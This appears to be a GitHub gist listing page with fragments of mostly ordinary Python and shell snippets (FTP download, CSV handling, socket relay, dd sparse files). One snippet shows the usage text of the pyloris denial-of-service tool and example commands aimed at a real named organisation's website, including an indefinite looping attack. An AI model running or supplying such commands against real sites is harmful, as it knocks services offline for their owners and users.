Skip to content

Instantly share code, notes, and snippets.

#! /usr/bin/env python
print('Ciao!')
#! /usr/bin/env python3
import select
import socket
import time
TIME_WAIT = 0.01
BIND_ADDR = ''
BIND_PORT = 8443
SERV_ADDR = 'server.example.com'
#!/usr/bin/env python
import ftplib
# Connection information
server = 'ftp.fu-berlin.de'
username = 'anonymous'
password = 'anything'
# Directory and matching information
Usage: pyloris.py [options] www.host.com
Options:
-h, --help show this help message and exit
-c COUNT, --count=COUNT
Number of requests to perform (default = 50)
-f, --finish Complete each session rather than leave them
unfinished (lessens the effectiveness)
-g GET, --get=GET Page to request from the server (default = /)
-l, --loop Loop indefinitely (overrides -c)
$ ./pyloris www.nationformarriage.org
$ ./pyloris www.nationformarriage.org -l -s 600000 -g "/site/c.omL2KeN0LzH/b.3836955/k.BEC6/Home.htm"-u "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.31 Safari/530.5" -w 0.1 -t 25
#! /usr/bin/env python
# CSVFileHandler.py
import csv
class CSVFileHandler:
def __init__(self, filename):
self.open(filename)
#! /usr/bin/env python
# dsimport.py
import sys
from CSVFileHandler import CSVFileHandler
def main(ifile, ofile):
writer = open(ofile, 'w')
MotomaSTYLE raiddemo # ls -la
total 4
drwxr-xr-x 4 root root 80 Dec 27 21:49 ./
drwxr-xr-x 33 root root 80 Dec 27 21:49 ../
drwxr-xr-x 2 root root 80 Dec 27 21:49 nfsmountpoint/
drwxr-xr-x 2 root root 80 Dec 27 21:49 smbmountpoint/
MotomaSTYLE raiddemo # dd of=nfsmountpoint/image bs=1024 count=0 seek=1M
0+0 records in
0+0 records out
0 bytes (0 B) copied, 0.000592534 seconds, 0.0 kB/s
MotomaSTYLE raiddemo # dd of=smbmountpoint/image bs=1024 count=0 seek=1M
0+0 records in
0+0 records out
0 bytes (0 B) copied, 29.2139 seconds, 0.0 kB/s